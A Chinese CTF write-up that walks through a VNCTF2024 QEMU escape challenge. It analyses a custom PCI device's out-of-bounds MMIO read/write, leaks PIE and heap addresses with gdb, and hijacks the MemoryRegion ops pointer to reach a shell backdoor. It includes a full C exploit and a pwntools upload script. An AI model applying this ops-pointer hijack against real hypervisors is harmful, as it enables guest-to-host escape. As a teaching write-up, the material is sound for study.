新手向-从VNCTF2024的一道题学习QEMU Escape

admin 2024年4月22日07:06:00评论2 views字数 14345阅读47分49秒阅读模式

[F] 说在前面

本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松(当然也不排除这是我自以为是😭)

[1] 题目分析流程

[1-1] 启动文件分析

读 Dockerfile,了解到它在搭起环境以后启动了start.sh

再读 start.sh,了解到它启动了 xinetd 程序

再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh

再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。

通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init 的 函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到

__int64 __fastcall vn_class_init(__int64 a1)
{
  __int64 result;// rax

  result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result +176)= pci_vn_realize;
*(_QWORD *)(result +184)=0LL;
*(_WORD *)(result +208)=0x1234;// 厂商ID (Vendor ID)
*(_WORD *)(result +210)=0x2024;// 设备ID (Device ID)
*(_BYTE *)(result +212)=0x10;
*(_WORD *)(result +214)=0xFF;
return result;
}

通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn

/sys/devices/pci0000:00/0000:00:04.0# lspci
lspci
00:01.0Class0601:8086:7000
00:04.0Class00ff:1234:2024
00:00.0Class0600:8086:1237
00:01.3Class0680:8086:7113
00:03.0Class0200:8086:100e
00:01.1Class0101:8086:7010
00:02.0Class0300:1234:1111

进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况

/sys/devices/pci0000:00/0000:00:04.0# ls -al
...
...
-r--r--r--1004096Feb1812:18 resource
-rw-------1004096Feb1812:18 resource0
...
...

有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。

并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 mmio攻击(点击这里了解 mmio 运行原理)

[1-2] 静态分析

如果我写的不够清楚,读者可以参考 blizzardCTF 里的 strng这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。

我们先补充一些概念:

QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。

如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。

resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”

所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改

可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据

关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关

假设我们的调用链是这样的:
docker -> QEMU -> exp

 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间

 QEMU  pci 设备的MemoryRegion就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read  vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到MemoryRegion xx_mmio_ops 指针,就可以劫持控制流。

那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。

新手向-从VNCTF2024的一道题学习QEMU Escape
oNxdA.md.png

由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是

  • • object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址

  • • ①如果 op == 0x30 且 ptr[737] == 0

    • • ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1

  • • ②如果 op == 0x10 且 var < 0x3C

    • • ptr[736] = var

    • • 这里可以用负数来上溢,从而可以读很大一片空间的内容

  • • ③如果 op == 0x20 且 var 的高32位 < 0x3C

    • • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出来。

下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助

新手向-从VNCTF2024的一道题学习QEMU Escape

通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read

voidmmio_write(uint64_t addr,uint64_t value)
{
*((uint64_t*)(mmio_base + addr))= value;
}

uint32_tmmio_read(uint64_t addr)
{
return*((uint32_t*)(mmio_base + addr));
}
voidmmio_write_idx(uint64_t idx,uint64_t value)
{
uint64_t val = value +(idx <<32);
    mmio_write(0x20,val);
}

通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");

现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。

所以我们就先读一些内容,看看附近有没有什么能利用的东西

[2] 动态调试

接下来我们需要用 docker 调试 qemu,这里记录一下

# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp/path/to/file container_name:/whatever/path/you/want/to/file

# 首先将 exp.c 静态编译为二进制文件
gcc exp.--static -o exp

# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio

# 将 exp 放入 /core/usr/bin 中

# 重新打包 roortfs.cpio
gen rootfs.cpio

# 修改 run.sh 
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 
#     -L ./pc-bios 
#     -m 128M 
#     -append "tsc=unstable console=ttyS0" 
#     -kernel bzImage 
#     -initrd rootfs.cpio 
#     -device vn 
#     -nographic 
#     -no-reboot 
#     -monitor /dev/null 

# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile# 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http://archive.ubuntu.com/http://mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && 
#     apt-get update && apt-get -y dist-upgrade && 
#     apt-get install -y lib32z1 xinetd 
#                        libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev 
#                        libfdt-dev libnuma-dev libglib2.0-dev 
#                        libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb

# build 与 启动容器
docker-compose build
docker start vnctf

# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec-ti vnctf /bin/bash

# pane2:
docker exec-ti vnctf /bin/bash

# pane1:
./run.sh # 这里运行以后应该是什么也不会出现

# pane2:
ps -ax | grep "qemu-system-x86_64 -L"# 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动
# 如果没启动就继续输入 (gdb) c

# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd/usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp

# pane2:
# 此时就可以开始调试了

现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的

intmain(int argc,charconst*argv[])
{
uint32_t catflag_addr =0x6E65F9;

    getMMIOBase();
printf("mmio_base Resource0Base: %pn", mmio_base);

uint64_t test_low,test_high,test;
for(int i=-1;i>=-30;i--){
        mmio_write(0x10, i*0x8);
        test_low = mmio_read(0x20);
        mmio_write(0x10, i*0x8+0x4);
        test_high = mmio_read(0x20);
        test = test_low +(test_high <<32);
printf("test%d = 0x%llxn",-i, test);
        getchar();
}
}

/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方

PIE

(gdb) x/2gx0x55da256a335b
0x55da256a335b<memory_region_destructor_none>:0xe5894855fa1e0ff30xf3c35d90f87d8948

我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了

heap & MemoryRegion

(gdb) x/2gx0x55da25dd01e0
0x55da25dd01e0<vn_mmio_ops>:0x000055da252d34580x000055da252d3502

我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0

所以我们有如下对应关系:

ptr[-24+720]->0x55da25dd01e0

那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行

最终我们用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470,0x55da2812e470+0x1000,0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0

观察发现这个地址跟我们的 test10 非常近,可以计算一下

(gdb) print(0x55da2812ef58-0x55da2812eef0)
$1=104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 =  0x55da2812ef58 - 0x68 = test10 - 0x68

而我们打印一下更多附近的值,可以看到

(gdb) x/52xg0x55da2812ef58-0x58-0x60
0x55da2812eea0:0x000055da271f18400x0000000000000000
0x55da2812eeb0:0x000055da280e1f000x0000000000000001
0x55da2812eec0:0x000055da2812e4700x0000000000000001
0x55da2812eed0:0x00000000000000000x0000000000000000
0x55da2812eee0:0x000055da2812e4700x000055da2812e470
0x55da2812eef0:0x000055da25dd01e00x000055da2812e470<- test 24|23
0x55da2812ef00:0x000055da271feae00x0000000000000000
0x55da2812ef10:0x00000000000010000x0000000000000000
0x55da2812ef20:0x00000000febf10000x000055da256a335b<- test 18|17
0x55da2812ef30:0x00000000000000000x0000000000010001
0x55da2812ef40:0x00000000000000000x0000000000000000
0x55da2812ef50:0x00000000000000010x0000000000000000
0x55da2812ef60:0x000055da2812ef580x000055da27e4f820
0x55da2812ef70:0x000055da271feb980x0000000000000000
0x55da2812ef80:0x000055da2812ef780x000055da28130f00
0x55da2812ef90:0x00000000000000000x0000000000000000
0x55da2812efa0:0x00000000000000000x0000000000000000
0x55da2812efb0:0x00000000000000000x0000000000000000<- test 0|-1
0x55da2812efc0:0x00000000000000000x0000000000000000
0x55da2812efd0:0x00000000000000000x0000000000000000
0x55da2812efe0:0x00000000000000000x0000000000000000
0x55da2812eff0:0x00000000ffffff2c0x0000000000000000
0x55da2812f000:0x00000000000000000x0000000000000061
0x55da2812f010:0x000055da2812d3c00x000055da273b01d0
0x55da2812f020:0x00000000000000000x000055da25725d5f
0x55da2812f030:0x00000000000000000x000055da25725de1

我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion

structMemoryRegion{
Object parent_obj;

/* private: */

/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly;/* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock*ram_block;
Object*owner;

constMemoryRegionOps*ops;
void*opaque;
MemoryRegion*container;// 指向父 MemoryRegion
Int128 size;// 内存区域大小
    hwaddr addr;// 在父 MR 中的偏移量
void(*destructor)(MemoryRegion*mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed;/* For reservations */
uint8_t vga_logging_count;
MemoryRegion*alias;// 仅在 alias MR 中,指向实际的 MR
    hwaddr alias_offset;
int32_t priority;
    QTAILQ_HEAD(,MemoryRegion) subregions;
    QTAILQ_ENTRY(MemoryRegion) subregions_link;
    QTAILQ_HEAD(,CoalescedMemoryRange) coalesced;
constchar*name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd*ioeventfds;
};

假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;

0x55da2812eea0:0x000055da271f1840
0x55da2812eea8:0x0000000000000000
0x55da2812eeb0:0x000055da280e1f00
0x55da2812eeb8:0x0000000000000001
0x55da2812eec0:0x000055da2812e470
0x55da2812eec8:0x0000000000000001
0x55da2812eed0:0x0000000000000000
0x55da2812eed8:0x0000000000000000
0x55da2812eee0:0x000055da2812e470
0x55da2812eee8:0x000055da2812e470
0x55da2812eef0:0x000055da25dd01e0-24-> test24 -> ops
0x55da2812eef8:0x000055da2812e470-23-> test23 -> opaque
0x55da2812ef00:0x000055da271feae0-22-> test22 -> container
0x55da2812ef08:0x0000000000000000-21-> test21 ->这里不知道是什么😭
0x55da2812ef10:0x0000000000001000-20-> test20 -> size(Int128)
0x55da2812ef18:0x0000000000000000-19-> test19 -> size
0x55da2812ef20:0x00000000febf1000-18-> test18 -> addr
0x55da2812ef28:0x000055da256a335b-17-> test17 -> mr
0x55da2812ef30:0x0000000000000000
0x55da2812ef38:0x0000000000010001
0x55da2812ef40:0x0000000000000000
0x55da2812ef48:0x0000000000000000
0x55da2812ef50:0x0000000000000001
0x55da2812ef58:0x0000000000000000
0x55da2812ef60:0x0000000000000000
0x55da2812ef68:0x0000000000000000
0x55da2812ef70:0x0000000000000000
0x55da2812ef78:0x0000000000000000
0x55da2812ef80:0x0000000000000000
0x55da2812ef88:0x0000000000000000
0x55da2812ef90:0x0000000000000000
0x55da2812ef98:0x0000000000000000
0x55da2812efa0:0x0000000000000000
0x55da2812efa8:0x0000000000000000-> test0 
0x55da2812efb0:0x0000000000000000->可以看到这里有一大片'x00'
0x55da2812efb8:0x0000000000000000->我们可以把控制流劫持的指针
0x55da2812efc0:0x0000000000000000->放在这一片
0x55da2812efc8:0x0000000000000000
0x55da2812efd0:0x0000000000000000
0x55da2812efd8:0x0000000000000000
0x55da2812efe0:0x0000000000000000
0x55da2812efe8:0x0000000000000000

我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数

所以我们考虑这样的布置:

0x55da2812eef0(&test24)->0x55da2812efd8
0x55da2812efd8(&backdoor)->0x55da2812efd0->后门函数0x67429B

[3] 完整 EXP

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>
#include<errno.h>
#include<signal.h>
#include<fcntl.h>
#include<ctype.h>
#include<termios.h>
#include<assert.h>

#include<sys/types.h>
#include<sys/mman.h>
#include<sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE -1)


char* pci_device_name ="/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsignedchar* mmio_base;

unsignedchar*getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC))==-1){
        perror("open pci device");
exit(-1);
}
    mmio_base = mmap(0,0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base ==(void*)-1){
        perror("mmap");
exit(-1);
}
return mmio_base;
}

voidmmio_write(uint64_t addr,uint64_t value)
{
*((uint64_t*)(mmio_base + addr))= value;
}

uint32_tmmio_read(uint64_t addr)
{
return*((uint32_t*)(mmio_base + addr));
}
voidmmio_write_idx(uint64_t idx,uint64_t value)
{
uint64_t val = value +(idx <<32);
    mmio_write(0x20,val);
}

intmain(int argc,charconst*argv[])
{
uint32_t catflag_addr =0x6E65F9;

    getMMIOBase();
printf("mmio_base Resource0Base: %pn", mmio_base);

    mmio_write(0x10,-17*0x8);
uint64_t pie_low = mmio_read(0x20);
    mmio_write(0x10,-17*0x8+0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low +(pie_high <<32)-0x82B35B;
printf("pie = 0x%llxn", pie);
    getchar();
    mmio_write(0x10,-10*0x8);
uint64_t heap_low = mmio_read(0x20);
    mmio_write(0x10,-10*0x8+0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low +(heap_high <<32);
printf("heap = 0x%llxn", heap);
uint64_t backdoor = pie +0x67429B;
uint64_t system_plt_addr = heap +0x60+8;
uint64_t cmdaddr = heap +0x58+8;
    getchar();
    mmio_write_idx(8,0x20746163);
    mmio_write_idx(12,0x67616C66);
    mmio_write_idx(16,backdoor &0xffffffff);
    mmio_write_idx(20,backdoor >>32);
    mmio_write_idx(24,system_plt_addr &0xffffffff);
    mmio_write_idx(28,system_plt_addr >>32);
    mmio_write_idx(32,cmdaddr &0xffffffff);
    mmio_write_idx(36,cmdaddr >>32);
    getchar();
for(int i =40;<=60;+=4)
{
        mmio_write_idx(i,0);
}
    getchar();
    mmio_write(0x10,-0xc0);
    getchar();
    mmio_write(0x30,system_plt_addr);
    getchar();
    mmio_read(0);
return0;
}

[4] exp.c 如何食用?

# exp.py
from pwn import*
import time, os
context.log_level ="debug"

p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

=open("./b64_exp","r")

p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")

count =1
whileTrue:
print('now line: '+str(count))
    line = f.readline().replace("n","")
iflen(line)<=0:
break
    cmd =b"echo '"+ line.encode()+b"' >> b64_exp;"
    p.sendline(cmd)# send lines
#time.sleep(0.02)
#p.recv()
    p.recvuntil("~ #")
    count +=1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 结语

本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell

但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。

[6] REFERENCE

QEMU 内存管理 - CTF Wiki (ctf-wiki.org)

xtxtn/vnctf2024-escape_langlang_mountain2wp (github.com)

个人博客 HeyGap's Blog

虚拟机逃逸初探(更新中) - l0tus' blog

原文始发于微信公众号(合天网安实验室):新手向-从VNCTF2024的一道题学习QEMU Escape

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日07:06:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新手向-从VNCTF2024的一道题学习QEMU Escapehttp://cn-sec.com/archives/2578623.html

发表评论

匿名网友 填写信息